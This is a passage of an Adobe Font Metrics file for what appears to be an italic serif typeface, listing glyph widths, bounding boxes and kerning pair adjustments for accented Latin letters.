C -1 ; WX 333 ; N ogonek ; B 20 -169 203 40 ;
C -1 ; WX 333 ; N caron ; B 121 492 426 661 ;
C 151 ; WX 889 ; N emdash ; B -6 197 894 243 ;
C 198 ; WX 889 ; N AE ; B -27 0 911 653 ;
C 170 ; WX 276 ; N ordfeminine ; B 42 406 352 676 ;
C -1 ; WX 556 ; N Lslash ; B -8 0 559 653 ;
C 216 ; WX 722 ; N Oslash ; B 60 -105 699 722 ;
C 140 ; WX 944 ; N OE ; B 49 -8 964 666 ;
C 186 ; WX 310 ; N ordmasculine ; B 67 406 362 676 ;
C 230 ; WX 667 ; N ae ; B 23 -11 640 441 ;
C -1 ; WX 278 ; N dotlessi ; B 49 -11 235 441 ;
C -1 ; WX 278 ; N lslash ; B 41 -11 312 683 ;
C 248 ; WX 500 ; N oslash ; B 28 -135 469 554 ;
C 156 ; WX 667 ; N oe ; B 20 -12 646 441 ;
C 223 ; WX 500 ; N germandbls ; B -168 -207 493 679 ;
C 207 ; WX 333 ; N Idieresis ; B -8 0 435 818 ;
C 233 ; WX 444 ; N eacute ; B 31 -11 459 664 ;
C -1 ; WX 500 ; N abreve ; B 17 -11 502 650 ;
C -1 ; WX 500 ; N uhungarumlaut ; B 42 -11 580 664 ;
C -1 ; WX 444 ; N ecaron ; B 31 -11 482 661 ;
C 159 ; WX 556 ; N Ydieresis ; B 78 0 633 818 ;
C 247 ; WX 675 ; N divide ; B 86 -11 590 517 ;
C 221 ; WX 556 ; N Yacute ; B 78 0 633 876 ;
C 194 ; WX 611 ; N Acircumflex ; B -51 0 564 873 ;
C 225 ; WX 500 ; N aacute ; B 17 -11 487 664 ;
C 219 ; WX 722 ; N Ucircumflex ; B 102 -18 765 873 ;
C 253 ; WX 444 ; N yacute ; B -24 -206 459 664 ;
C -1 ; WX 389 ; N scommaaccent ; B 16 -217 366 442 ;
C 234 ; WX 444 ; N ecircumflex ; B 31 -11 441 661 ;
C -1 ; WX 722 ; N Uring ; B 102 -18 765 883 ;
C 220 ; WX 722 ; N Udieresis ; B 102 -18 765 818 ;
C -1 ; WX 500 ; N aogonek ; B 17 -169 476 441 ;
C 218 ; WX 722 ; N Uacute ; B 102 -18 765 876 ;
C -1 ; WX 500 ; N uogonek ; B 42 -169 477 441 ;
C 203 ; WX 611 ; N Edieresis ; B -1 0 634 818 ;
C -1 ; WX 722 ; N Dcroat ; B -8 0 700 653 ;
C -1 ; WX 250 ; N commaaccent ; B 8 -217 133 -50 ;
C 169 ; WX 760 ; N copyright ; B 41 -18 719 666 ;
C -1 ; WX 611 ; N Emacron ; B -1 0 634 795 ;
C -1 ; WX 444 ; N ccaron ; B 30 -11 482 661 ;
C 229 ; WX 500 ; N aring ; B 17 -11 476 691 ;
C -1 ; WX 667 ; N Ncommaaccent ; B -20 -187 727 653 ;
C -1 ; WX 278 ; N lacute ; B 41 -11 395 876 ;
C 224 ; WX 500 ; N agrave ; B 17 -11 476 664 ;
C -1 ; WX 556 ; N Tcommaaccent ; B 59 -217 633 653 ;
C -1 ; WX 667 ; N Cacute ; B 66 -18 690 876 ;
C 227 ; WX 500 ; N atilde ; B 17 -11 511 624 ;
C -1 ; WX 611 ; N Edotaccent ; B -1 0 634 818 ;
C 154 ; WX 389 ; N scaron ; B 16 -13 454 661 ;
C -1 ; WX 389 ; N scedilla ; B 16 -217 366 442 ;
C 237 ; WX 278 ; N iacute ; B 49 -11 355 664 ;
C -1 ; WX 471 ; N lozenge ; B 13 0 459 724 ;
C -1 ; WX 611 ; N Rcaron ; B -13 0 588 873 ;
C -1 ; WX 722 ; N Gcommaaccent ; B 52 -217 722 666 ;
C 251 ; WX 500 ; N ucircumflex ; B 42 -11 475 661 ;
C 226 ; WX 500 ; N acircumflex ; B 17 -11 476 661 ;
C -1 ; WX 611 ; N Amacron ; B -51 0 564 795 ;
C -1 ; WX 389 ; N rcaron ; B 45 0 434 661 ;
C 231 ; WX 444 ; N ccedilla ; B 30 -217 425 441 ;
C -1 ; WX 556 ; N Zdotaccent ; B -6 0 606 818 ;
C 222 ; WX 611 ; N Thorn ; B 0 0 569 653 ;
C -1 ; WX 722 ; N Omacron ; B 60 -18 699 795 ;
C -1 ; WX 611 ; N Racute ; B -13 0 588 876 ;
C -1 ; WX 500 ; N Sacute ; B 17 -18 508 876 ;
C -1 ; WX 544 ; N dcaron ; B 15 -13 658 683 ;
C -1 ; WX 722 ; N Umacron ; B 102 -18 765 795 ;
C -1 ; WX 500 ; N uring ; B 42 -11 475 691 ;
C 179 ; WX 300 ; N threesuperior ; B 43 268 339 676 ;
C 210 ; WX 722 ; N Ograve ; B 60 -18 699 876 ;
C 192 ; WX 611 ; N Agrave ; B -51 0 564 876 ;
C -1 ; WX 611 ; N Abreve ; B -51 0 564 862 ;
C 215 ; WX 675 ; N multiply ; B 93 8 582 497 ;
C 250 ; WX 500 ; N uacute ; B 42 -11 477 664 ;
C -1 ; WX 556 ; N Tcaron ; B 59 0 633 873 ;
C -1 ; WX 476 ; N partialdiff ; B 17 -38 459 710 ;
C 255 ; WX 444 ; N ydieresis ; B -24 -206 441 606 ;
C -1 ; WX 667 ; N Nacute ; B -20 -15 727 876 ;
C 238 ; WX 278 ; N icircumflex ; B 33 -11 327 661 ;
C 202 ; WX 611 ; N Ecircumflex ; B -1 0 634 873 ;
C 228 ; WX 500 ; N adieresis ; B 17 -11 489 606 ;
C 235 ; WX 444 ; N edieresis ; B 31 -11 451 606 ;
C -1 ; WX 444 ; N cacute ; B 30 -11 459 664 ;
C -1 ; WX 500 ; N nacute ; B 14 -9 477 664 ;
C -1 ; WX 500 ; N umacron ; B 42 -11 485 583 ;
C -1 ; WX 667 ; N Ncaron ; B -20 -15 727 873 ;
C 205 ; WX 333 ; N Iacute ; B -8 0 433 876 ;
C 177 ; WX 675 ; N plusminus ; B 86 0 590 506 ;
C 166 ; WX 275 ; N brokenbar ; B 105 -142 171 708 ;
C 174 ; WX 760 ; N registered ; B 41 -18 719 666 ;
C -1 ; WX 722 ; N Gbreve ; B 52 -18 722 862 ;
C -1 ; WX 333 ; N Idotaccent ; B -8 0 384 818 ;
C -1 ; WX 600 ; N summation ; B 15 -10 585 706 ;
C 200 ; WX 611 ; N Egrave ; B -1 0 634 876 ;
C -1 ; WX 389 ; N racute ; B 45 0 431 664 ;
C -1 ; WX 500 ; N omacron ; B 27 -11 495 583 ;
C -1 ; WX 556 ; N Zacute ; B -6 0 606 876 ;
C 142 ; WX 556 ; N Zcaron ; B -6 0 606 873 ;
C -1 ; WX 549 ; N greaterequal ; B 26 0 523 658 ;
C 208 ; WX 722 ; N Eth ; B -8 0 700 653 ;
C 199 ; WX 667 ; N Ccedilla ; B 66 -217 689 666 ;
C -1 ; WX 278 ; N lcommaaccent ; B 22 -217 279 683 ;
C -1 ; WX 300 ; N tcaron ; B 37 -11 407 681 ;
C -1 ; WX 444 ; N eogonek ; B 31 -169 412 441 ;
C -1 ; WX 722 ; N Uogonek ; B 102 -184 765 653 ;
C 193 ; WX 611 ; N Aacute ; B -51 0 564 876 ;
C 196 ; WX 611 ; N Adieresis ; B -51 0 564 818 ;
C 232 ; WX 444 ; N egrave ; B 31 -11 412 664 ;
C -1 ; WX 389 ; N zacute ; B -2 -81 431 664 ;
C -1 ; WX 278 ; N iogonek ; B 49 -169 264 654 ;
C 211 ; WX 722 ; N Oacute ; B 60 -18 699 876 ;
C 243 ; WX 500 ; N oacute ; B 27 -11 487 664 ;
C -1 ; WX 500 ; N amacron ; B 17 -11 495 583 ;
C -1 ; WX 389 ; N sacute ; B 16 -13 431 664 ;
C 239 ; WX 278 ; N idieresis ; B 49 -11 352 606 ;
C 212 ; WX 722 ; N Ocircumflex ; B 60 -18 699 873 ;
C 217 ; WX 722 ; N Ugrave ; B 102 -18 765 876 ;
C -1 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 254 ; WX 500 ; N thorn ; B -75 -205 469 683 ;
C 178 ; WX 300 ; N twosuperior ; B 33 271 324 676 ;
C 214 ; WX 722 ; N Odieresis ; B 60 -18 699 818 ;
C 181 ; WX 500 ; N mu ; B -30 -209 497 428 ;
C 236 ; WX 278 ; N igrave ; B 49 -11 284 664 ;
C -1 ; WX 500 ; N ohungarumlaut ; B 27 -11 590 664 ;
C -1 ; WX 611 ; N Eogonek ; B -1 -169 634 653 ;
C -1 ; WX 500 ; N dcroat ; B 15 -13 572 683 ;
C 190 ; WX 750 ; N threequarters ; B 23 -10 736 676 ;
C -1 ; WX 500 ; N Scedilla ; B 17 -217 508 667 ;
C -1 ; WX 300 ; N lcaron ; B 41 -11 407 683 ;
C -1 ; WX 667 ; N Kcommaaccent ; B 7 -217 722 653 ;
C -1 ; WX 556 ; N Lacute ; B -8 0 559 876 ;
C 153 ; WX 980 ; N trademark ; B 30 247 957 653 ;
C -1 ; WX 444 ; N edotaccent ; B 31 -11 412 606 ;
C 204 ; WX 333 ; N Igrave ; B -8 0 384 876 ;
C -1 ; WX 333 ; N Imacron ; B -8 0 441 795 ;
C -1 ; WX 611 ; N Lcaron ; B -8 0 586 653 ;
C 189 ; WX 750 ; N onehalf ; B 34 -10 749 676 ;
C -1 ; WX 549 ; N lessequal ; B 26 0 523 658 ;
C 244 ; WX 500 ; N ocircumflex ; B 27 -11 468 661 ;
C 241 ; WX 500 ; N ntilde ; B 14 -9 476 624 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 102 -18 765 876 ;
C 201 ; WX 611 ; N Eacute ; B -1 0 634 876 ;
C -1 ; WX 444 ; N emacron ; B 31 -11 457 583 ;
C -1 ; WX 500 ; N gbreve ; B 8 -206 487 650 ;
C 188 ; WX 750 ; N onequarter ; B 33 -10 736 676 ;
C 138 ; WX 500 ; N Scaron ; B 17 -18 520 873 ;
C -1 ; WX 500 ; N Scommaaccent ; B 17 -217 508 667 ;
C -1 ; WX 722 ; N Ohungarumlaut ; B 60 -18 699 876 ;
C 176 ; WX 400 ; N degree ; B 101 390 387 676 ;
C 242 ; WX 500 ; N ograve ; B 27 -11 468 664 ;
C -1 ; WX 667 ; N Ccaron ; B 66 -18 689 873 ;
C 249 ; WX 500 ; N ugrave ; B 42 -11 475 664 ;
C -1 ; WX 453 ; N radical ; B 2 -60 452 768 ;
C -1 ; WX 722 ; N Dcaron ; B -8 0 700 873 ;
C -1 ; WX 389 ; N rcommaaccent ; B -3 -217 412 441 ;
C 209 ; WX 667 ; N Ntilde ; B -20 -15 727 836 ;
C 245 ; WX 500 ; N otilde ; B 27 -11 496 624 ;
C -1 ; WX 611 ; N Rcommaaccent ; B -13 -187 588 653 ;
C -1 ; WX 556 ; N Lcommaaccent ; B -8 -217 559 653 ;
C 195 ; WX 611 ; N Atilde ; B -51 0 566 836 ;
C -1 ; WX 611 ; N Aogonek ; B -51 -169 566 668 ;
C 197 ; WX 611 ; N Aring ; B -51 0 564 883 ;
C 213 ; WX 722 ; N Otilde ; B 60 -18 699 836 ;
C -1 ; WX 389 ; N zdotaccent ; B -2 -81 380 606 ;
C -1 ; WX 611 ; N Ecaron ; B -1 0 634 873 ;
C -1 ; WX 333 ; N Iogonek ; B -8 -169 384 653 ;
C -1 ; WX 444 ; N kcommaaccent ; B 14 -187 461 683 ;
C -1 ; WX 675 ; N minus ; B 86 220 590 286 ;
C 206 ; WX 333 ; N Icircumflex ; B -8 0 425 873 ;
C -1 ; WX 500 ; N ncaron ; B 14 -9 510 661 ;
C -1 ; WX 278 ; N tcommaaccent ; B 2 -217 296 546 ;
C 172 ; WX 675 ; N logicalnot ; B 86 108 590 386 ;
C 246 ; WX 500 ; N odieresis ; B 27 -11 489 606 ;
C 252 ; WX 500 ; N udieresis ; B 42 -11 479 606 ;
C -1 ; WX 549 ; N notequal ; B 12 -29 537 541 ;
C -1 ; WX 500 ; N gcommaaccent ; B 8 -206 472 706 ;
C 240 ; WX 500 ; N eth ; B 27 -11 482 683 ;
C 158 ; WX 389 ; N zcaron ; B -2 -81 434 661 ;
C -1 ; WX 500 ; N ncommaaccent ; B 14 -187 474 441 ;
C 185 ; WX 300 ; N onesuperior ; B 43 271 284 676 ;
C -1 ; WX 278 ; N imacron ; B 46 -11 311 583 ;
C 128 ; WX 500 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
StartKernData
StartKernPairs 2321
KPX A C -30
KPX A Cacute -30
KPX A Ccaron -30
KPX A Ccedilla -30
KPX A G -35
KPX A Gbreve -35
KPX A Gcommaaccent -35
KPX A O -40
KPX A Oacute -40
KPX A Ocircumflex -40
KPX A Odieresis -40
KPX A Ograve -40
KPX A Ohungarumlaut -40
KPX A Omacron -40
KPX A Oslash -40
KPX A Otilde -40
KPX A Q -40
KPX A T -37
KPX A Tcaron -37
KPX A Tcommaaccent -37
KPX A U -50
KPX A Uacute -50
KPX A Ucircumflex -50
KPX A Udieresis -50
KPX A Ugrave -50
KPX A Uhungarumlaut -50
KPX A Umacron -50
KPX A Uogonek -50
KPX A Uring -50
KPX A V -105
KPX A W -95
KPX A Y -55
KPX A Yacute -55
KPX A Ydieresis -55
KPX A quoteright -37
KPX A u -20
KPX A uacute -20
KPX A ucircumflex -20
KPX A udieresis -20
KPX A ugrave -20
KPX A uhungarumlaut -20
KPX A umacron -20
KPX A uogonek -20
KPX A uring -20
KPX A v -55
KPX A w -55
KPX A y -55
KPX A yacute -55
KPX A ydieresis -55
KPX Aacute C -30
KPX Aacute Cacute -30
KPX Aacute Ccaron -30
KPX Aacute Ccedilla -30
KPX Aacute G -35
KPX Aacute Gbreve -35
KPX Aacute Gcommaaccent -35
KPX Aacute O -40
KPX Aacute Oacute -40
KPX Aacute Ocircumflex -40
KPX Aacute Odieresis -40
KPX Aacute Ograve -40
KPX Aacute Ohungarumlaut -40
KPX Aacute Omacron -40
KPX Aacute Oslash -40
KPX Aacute Otilde -40
KPX Aacute Q -40
KPX Aacute T -37
KPX Aacute Tcaron -37
KPX Aacute Tcommaaccent -37
KPX Aacute U -50
KPX Aacute Uacute -50
KPX Aacute Ucircumflex -50
KPX Aacute Udieresis -50
KPX Aacute Ugrave -50
KPX Aacute Uhungarumlaut -50
KPX Aacute Umacron -50
KPX Aacute Uogonek -50
KPX Aacute Uring -50
KPX Aacute V -105
KPX Aacute W -95
KPX Aacute Y -55
KPX Aacute Yacute -55
KPX Aacute Ydieresis -55
KPX Aacute quoteright -37
KPX Aacute u -20
KPX Aacute uacute -20
KPX Aacute ucircumflex -20
KPX Aacute udieresis -20
KPX Aacute ugrave -20
KPX Aacute uhungarumlaut -20
KPX Aacute umacron -20
KPX Aacute uogonek -20
KPX Aacute uring -20
KPX Aacute v -55
KPX Aacute w -55
KPX Aacute y -55
KPX Aacute yacute -55
KPX Aacute ydieresis -55
KPX Abreve C -30
KPX Abreve Cacute -30
KPX Abreve Ccaron -30
KPX Abreve Ccedilla -30
KPX Abreve G -35
KPX Abreve Gbreve -35
KPX Abreve Gcommaaccent -35
KPX Abreve O -40
KPX Abreve Oacute -40
KPX Abreve Ocircumflex -40
KPX Abreve Odieresis -40
KPX Abreve Ograve -40
KPX Abreve Ohungarumlaut -40
KPX Abreve Omacron -40
KPX Abreve Oslash -40
KPX Abreve Otilde -40
KPX Abreve Q -40
KPX Abreve T -37
KPX Abreve Tcaron -37
KPX Abreve Tcommaaccent -37
KPX Abreve U -50
KPX Abreve Uacute -50
KPX Abreve Ucircumflex -50
KPX Abreve Udieresis -50
KPX Abreve Ugrave -50
KPX Abreve Uhungarumlaut -50
KPX Abreve Umacron -50
KPX Abreve Uogonek -50
KPX Abreve Uring -50
KPX Abreve V -105
KPX Abreve W -95
KPX Abreve Y -55
KPX Abreve Yacute -55
KPX Abreve Ydieresis -55
KPX Abreve quoteright -37
KPX Abreve u -20
KPX Abreve uacute -20
KPX Abreve ucircumflex -20
KPX Abreve udieresis -20
KPX Abreve ugrave -20
KPX Abreve uhungarumlaut -20
KPX Abreve umacron -20
KPX Abreve uogonek -20
KPX Abreve uring -20
KPX Abreve v -55
KPX Abreve w -55
KPX Abreve y -55
KPX Abreve yacute -55
KPX Abreve ydieresis -55
KPX Acircumflex C -30
KPX Acircumflex Cacute -30
KPX Acircumflex Ccaron -30
KPX Acircumflex Ccedilla -30
KPX Acircumflex G -35
KPX Acircumflex Gbreve -35
KPX Acircumflex Gcommaaccent -35
KPX Acircumflex O -40
KPX Acircumflex Oacute -40
KPX Acircumflex Ocircumflex -40
KPX Acircumflex Odieresis -40
KPX Acircumflex Ograve -40
KPX Acircumflex Ohungarumlaut -40
KPX Acircumflex Omacron -40
KPX Acircumflex Oslash -40
KPX Acircumflex Otilde -40
KPX Acircumflex Q -40
KPX Acircumflex T -37
KPX Acircumflex Tcaron -37
KPX Acircumflex Tcommaaccent -37
KPX Acircumflex U -50
KPX Acircumflex Uacute -50
KPX Acircumflex Ucircumflex -50
KPX Acircumflex Udieresis -50
KPX Acircumflex Ugrave -50
KPX Acircumflex Uhungarumlaut -50
KPX Acircumflex Umacron -50
KPX Acircumflex Uogonek -50
KPX Acircumflex Uring -50
KPX Acircumflex V -105
KPX Acircumflex W -95
KPX Acircumflex Y -55
KPX Acircumflex Yacute -55
KPX Acircumflex Ydieresis -55
KPX Acircumflex quoteright -37
KPX Acircumflex u -20
KPX Acircumflex uacute -20
KPX Acircumflex ucircumflex -20
KPX Acircumflex udieresis -20
KPX Acircumflex ugrave -20
KPX Acircumflex uhungarumlaut -20
KPX Acircumflex umacron -20
KPX Acircumflex uogonek -20
KPX Acircumflex uring -20
KPX Acircumflex v -55
KPX Acircumflex w -55
KPX Acircumflex y -55
KPX Acircumflex yacute -55
KPX Acircumflex ydieresis -55
KPX Adieresis C -30
KPX Adieresis Cacute -30
KPX Adieresis Ccaron -30
KPX Adieresis Ccedilla -30
KPX Adieresis G -35
KPX Adieresis Gbreve -35
KPX Adieresis Gcommaaccent -35
KPX Adieresis O -40
KPX Adieresis Oacute -40
KPX Adieresis Ocircumflex -40
KPX Adieresis Odieresis -40
KPX Adieresis Ograve -40
KPX Adieresis Ohungarumlaut -40
KPX Adieresis Omacron -40
KPX Adieresis Oslash -40
KPX Adieresis Otilde -40
KPX Adieresis Q -40
KPX Adieresis T -37
KPX Adieresis Tcaron -37
KPX Adieresis Tcommaaccent -37
KPX Adieresis U -50
KPX Adieresis Uacute -50
KPX Adieresis Ucircumflex -50
KPX Adieresis Udieresis -50
KPX Adieresis Ugrave -50
KPX Adieresis Uhungarumlaut -50
KPX Adieresis Umacron -50
KPX Adieresis Uogonek -50
KPX Adieresis Uring -50
KPX Adieresis V -105
KPX Adieresis W -95
KPX Adieresis Y -55
KPX Adieresis Yacute -55
KPX Adieresis Ydieresis -55
KPX Adieresis quoteright -37
KPX Adieresis u -20
KPX Adieresis uacute -20
KPX Adieresis ucircumflex -20
KPX Adieresis udieresis -20
KPX Adieresis ugrave -20
KPX Adieresis uhungarumlaut -20
KPX Adieresis umacron -20
KPX Adieresis uogonek -20
KPX Adieresis uring -20
KPX Adieresis v -55
KPX Adieresis w -55
KPX Adieresis y -55
KPX Adieresis yacute -55
KPX Adieresis ydieresis -55
KPX Agrave C -30
KPX Agrave Cacute -30
KPX Agrave Ccaron -30
KPX Agrave Ccedilla -30
KPX Agrave G -35
KPX Agrave Gbreve -35
KPX Agrave Gcommaaccent -35
KPX Agrave O -40
KPX Agrave Oacute -40
KPX Agrave Ocircumflex -40
KPX Agrave Odieresis -40
KPX Agrave Ograve -40
KPX Agrave Ohungarumlaut -40
KPX Agrave Omacron -40
KPX Agrave Oslash -40
KPX Agrave Otilde -40
KPX Agrave Q -40
KPX Agrave T -37
KPX Agrave Tcaron -37
KPX Agrave Tcommaaccent -37
KPX Agrave U -50
KPX Agrave Uacute -50
KPX Agrave Ucircumflex -50
KPX Agrave Udieresis -50
KPX Agrave Ugrave -50
KPX Agrave Uhungarumlaut -50
KPX Agrave Umacron -50
KPX Agrave Uogonek -50
KPX Agrave Uring -50
KPX Agrave V -105
KPX Agrave W -95
KPX Agrave Y -55
KPX Agrave Yacute -55
KPX Agrave Ydieresis -55
KPX Agrave quoteright -37
KPX Agrave u -20
KPX Agrave uacute -20
KPX Agrave ucircumflex -20
KPX Agrave udieresis -20
KPX Agrave ugrave -20
KPX Agrave uhungarumlaut -20
KPX Agrave umacron -20
KPX Agrave uogonek -20
KPX Agrave uring -20
KPX Agrave v -55
KPX Agrave w -55
KPX Agrave y -55
KPX Agrave yacute -55
KPX Agrave ydieresis -55
KPX Amacron C -30
KPX Amacron Cacute -30
KPX Amacron Ccaron -30
KPX Amacron Ccedilla -30
KPX Amacron G -35
KPX Amacron Gbreve -35
KPX Amacron Gcommaaccent -35
KPX Amacron O -40
KPX Amacron Oacute -40
KPX Amacron Ocircumflex -40
KPX Amacron Odieresis -40
KPX Amacron Ograve -40
KPX Amacron Ohungarumlaut -40
KPX Amacron Omacron -40
KPX Amacron Oslash -40
KPX Amacron Otilde -40
KPX Amacron Q -40
KPX Amacron T -37
KPX Amacron Tcaron -37
KPX Amacron Tcommaaccent -37
KPX Amacron U -50
KPX Amacron Uacute -50
KPX Amacron Ucircumflex -50
KPX Amacron Udieresis -50
KPX Amacron Ugrave -50
KPX Amacron Uhungarumlaut -50
KPX Amacron Umacron -50
KPX Amacron Uogonek -50
KPX Amacron Uring -50
KPX Amacron V -105
KPX Amacron W -95
KPX Amacron Y -55
KPX Amacron Yacute -55
KPX Amacron Ydieresis -55
KPX Amacron quoteright -37
KPX Amacron u -20
KPX Amacron uacute -20
KPX Amacron ucircumflex -20
KPX Amacron udieresis -20
KPX Amacron ugrave -20
KPX Amacron uhungarumlaut -20
KPX Amacron umacron -20
KPX Amacron uogonek -20
KPX Amacron uring -20
KPX Amacron v -55
KPX Amacron w -55
KPX Amacron y -55
KPX Amacron yacute -55
KPX Amacron ydieresis -55
KPX Aogonek C -30
KPX Aogonek Cacute -30
KPX Aogonek Ccaron -30
KPX Aogonek Ccedilla -30
KPX Aogonek G -35
KPX Aogonek Gbreve -35
KPX Aogonek Gcommaaccent -35
KPX Aogonek O -40
KPX Aogonek Oacute -40
KPX Aogonek Ocircumflex -40
KPX Aogonek Odieresis -40
KPX Aogonek Ograve -40
KPX Aogonek Ohungarumlaut -40
KPX Aogonek Omacron -40
KPX Aogonek Oslash -40
KPX Aogonek Otilde -40
KPX Aogonek Q -40
KPX Aogonek T -37
KPX Aogonek Tcaron -37
KPX Aogonek Tcommaaccent -37
KPX Aogonek U -50
KPX Aogonek Uacute -50
KPX Aogonek Ucircumflex -50
KPX Aogonek Udieresis -50
KPX Aogonek Ugrave -50
KPX Aogonek Uhungarumlaut -50
KPX Aogonek Umacron -50
KPX Aogonek Uogonek -50
KPX Aogonek Uring -50
KPX Aogonek V -105
KPX Aogonek W -95
KPX Aogonek Y -55
KPX Aogonek Yacute -55
KPX Aogonek Ydieresis -55
KPX Aogonek quoteright -37
KPX Aogonek u -20
KPX Aogonek uacute -20
KPX Aogonek ucircumflex -20
KPX Aogonek udieresis -20
KPX Aogonek ugrave -20
KPX Aogonek uhungarumlaut -20
KPX Aogonek umacron -20
KPX Aogonek uogonek -20
KPX Aogonek uring -20
KPX Aogonek v -55
KPX Aogonek w -55
KPX Aogonek y -55
KPX Aogonek yacute -55
KPX Aogonek ydieresis -55
KPX Aring C -30
KPX Aring Cacute -30
KPX Aring Ccaron -30
KPX Aring Ccedilla -30
KPX Aring G -35
KPX Aring Gbreve -35
KPX Aring Gcommaaccent -35
KPX Aring O -40
KPX Aring Oacute -40
KPX Aring Ocircumflex -40
KPX Aring Odieresis -40
KPX Aring Ograve -40
KPX Aring Ohungarumlaut -40
KPX Aring Omacron -40
KPX Aring Oslash -40
KPX Aring Otilde -40
KPX Aring Q -40
KPX Aring T -37
KPX Aring Tcaron -37
KPX Aring Tcommaaccent -37
KPX Aring U -50
KPX Aring Uacute -50
KPX Aring Ucircumflex -50
KPX Aring Udieresis -50
KPX Aring Ugrave -50
KPX Aring Uhungarumlaut -50
KPX Aring Umacron -50
KPX Aring Uogonek -50
KPX Aring Uring -50
KPX Aring V -105
KPX Aring W -95
KPX Aring Y -55
KPX Aring Yacute -55
KPX Aring Ydieresis -55
KPX Aring quoteright -37
KPX Aring u -20
KPX Aring uacute -20
KPX Aring ucircumflex -20
KPX Aring udieresis -20
KPX Aring ugrave -20
KPX Aring uhungarumlaut -20
KPX Aring umacron -20
KPX Aring uogonek -20
KPX Aring uring -20
KPX Aring v -55
KPX Aring w -55
KPX Aring y -55
KPX Aring yacute -55
KPX Aring ydieresis -55
KPX Atilde C -30
KPX Atilde Cacute -30
KPX Atilde Ccaron -30
KPX Atilde Ccedilla -30
KPX Atilde G -35
KPX Atilde Gbreve -35
KPX Atilde Gcommaaccent -35
KPX Atilde O -40
KPX Atilde Oacute -40
KPX Atilde Ocircumflex -40
KPX Atilde Odieresis -40
KPX Atilde Ograve -40
KPX Atilde Ohungarumlaut -40
KPX Atilde Omacron -40
KPX Atilde Oslash -40
KPX Atilde Otilde -40
KPX Atilde Q -40
KPX Atilde T -37
KPX Atilde Tcaron -37
KPX Atilde Tcommaaccent -37
KPX Atilde U -50
KPX Atilde Uacute -50
KPX Atilde Ucircumflex -50
KPX Atilde Udieresis -50
KPX Atilde Ugrave -50
KPX Atilde Uhungarumlaut -50
KPX Atilde Umacron -50
KPX Atilde Uogonek -50
KPX Atilde Uring -50
KPX Atilde V -105
KPX Atilde W -95
KPX Atilde Y -55
KPX Atilde Yacute -55
KPX Atilde Ydieresis -55
KPX Atilde quoteright -37
KPX Atilde u -20
KPX Atilde uacute -20
KPX Atilde ucircumflex -20
KPX Atilde udieresis -20
KPX Atilde ugrave -20
KPX Atilde uhungarumlaut -20
KPX Atilde umacron -20
KPX Atilde uogonek -20
KPX Atilde uring -20
KPX Atilde v -55
KPX Atilde w -55
KPX Atilde y -55
KPX Atilde yacute -55
KPX Atilde ydieresis -55
KPX B A -25
KPX B Aacute -25
KPX B Abreve -25
KPX B Acircumflex -25
KPX B Adieresis -25
KPX B Agrave -25
KPX B Amacron -25
KPX B Aogonek -25
KPX B Aring -25
KPX B Atilde -25
KPX B U -10
KPX B Uacute -10
KPX B Ucircumflex -10
KPX B Udieresis -10
KPX B Ugrave -10
KPX B Uhungarumlaut -10
KPX B Umacron -10
KPX B Uogonek -10
KPX B Uring -10
KPX D A -35
KPX D Aacute -35
KPX D Abreve -35
KPX D Acircumflex -35
KPX D Adieresis -35
KPX D Agrave -35
KPX D Amacron -35
KPX D Aogonek -35
KPX D Aring -35
KPX D Atilde -35
KPX D V -40
KPX D W -40
KPX D Y -40
KPX D Yacute -40
KPX D Ydieresis -40
KPX Dcaron A -35
KPX Dcaron Aacute -35
KPX Dcaron Abreve -35
KPX Dcaron Acircumflex -35
KPX Dcaron Adieresis -35
KPX Dcaron Agrave -35
KPX Dcaron Amacron -35
KPX Dcaron Aogonek -35
KPX Dcaron Aring -35
KPX Dcaron Atilde -35
KPX Dcaron V -40
KPX Dcaron W -40
KPX Dcaron Y -40
KPX Dcaron Yacute -40
KPX Dcaron Ydieresis -40
KPX Dcroat A -35
KPX Dcroat Aacute -35
KPX Dcroat Abreve -35
KPX Dcroat Acircumflex -35
KPX Dcroat Adieresis -35
KPX Dcroat Agrave -35
KPX Dcroat Amacron -35
KPX Dcroat Aogonek -35
KPX Dcroat Aring -35
KPX Dcroat Atilde -35
KPX Dcroat V -40
KPX Dcroat W -40
KPX Dcroat Y -40
KPX Dcroat Yacute -40
KPX Dcroat Ydieresis -40
KPX F A -115
KPX F Aacute -115
KPX F Abreve -115
KPX F Acircumflex -115
KPX F Adieresis -115
KPX F Agrave -115
KPX F Amacron -115
KPX F Aogonek -115
KPX F Aring -115
KPX F Atilde -115
KPX F a -75
KPX F aacute -75
KPX F abreve -75
KPX F acircumflex -75
KPX F adieresis -75
KPX F agrave -75
KPX F amacron -75
KPX F aogonek -75
KPX F aring -75
KPX F atilde -75
KPX F comma -135
KPX F e -75
KPX F eacute -75
KPX F ecaron -75
KPX F ecircumflex -75
KPX F edieresis -75
KPX F edotaccent -75
KPX F egrave -75
KPX F emacron -75
KPX F eogonek -75
KPX F i -45
KPX F iacute -45
KPX F icircumflex -45
KPX F idieresis -45
KPX F igrave -45
KPX F imacron -45
KPX F iogonek -45
KPX F o -105
KPX F oacute -105
KPX F ocircumflex -105
KPX F odieresis -105
KPX F ograve -105
KPX F ohungarumlaut -105
KPX F omacron -105
KPX F oslash -105
KPX F otilde -105
KPX F period -135
KPX F r -55
KPX F racute -55
KPX F rcaron -55
KPX F rcommaaccent -55
KPX J A -40
KPX J Aacute -40
KPX J Abreve -40
KPX J Acircumflex -40
KPX J Adieresis -40
KPX J Agrave -40
KPX J Amacron -40
KPX J Aogonek -40
KPX J Aring -40
KPX J Atilde -40
KPX J a -35
KPX J aacute -35
KPX J abreve -35
KPX J acircumflex -35
KPX J adieresis -35
KPX J agrave -35
KPX J amacron -35
KPX J aogonek -35
KPX J aring -35
KPX J atilde -35
KPX J comma -25
KPX J e -25
KPX J eacute -25
KPX J ecaron -25
KPX J ecircumflex -25
KPX J edieresis -25
KPX J edotaccent -25
KPX J egrave -25
KPX J emacron -25
KPX J eogonek -25
KPX J o -25
KPX J oacute -25
KPX J ocircumflex -25
KPX J odieresis -25
KPX J ograve -25
KPX J ohungarumlaut -25
KPX J omacron -25
KPX J oslash -25
KPX J otilde -25
KPX J period -25
KPX J u -35
KPX J uacute -35
KPX J ucircumflex -35
KPX J udieresis -35
KPX J ugrave -35
KPX J uhungarumlaut -35
KPX J umacron -35
KPX J uogonek -35
KPX J uring -35
KPX K O -50
KPX K Oacute -50
KPX K Ocircumflex -50
KPX K Odieresis -50
KPX K Ograve -50
KPX K Ohungarumlaut -50
KPX K Omacron -50
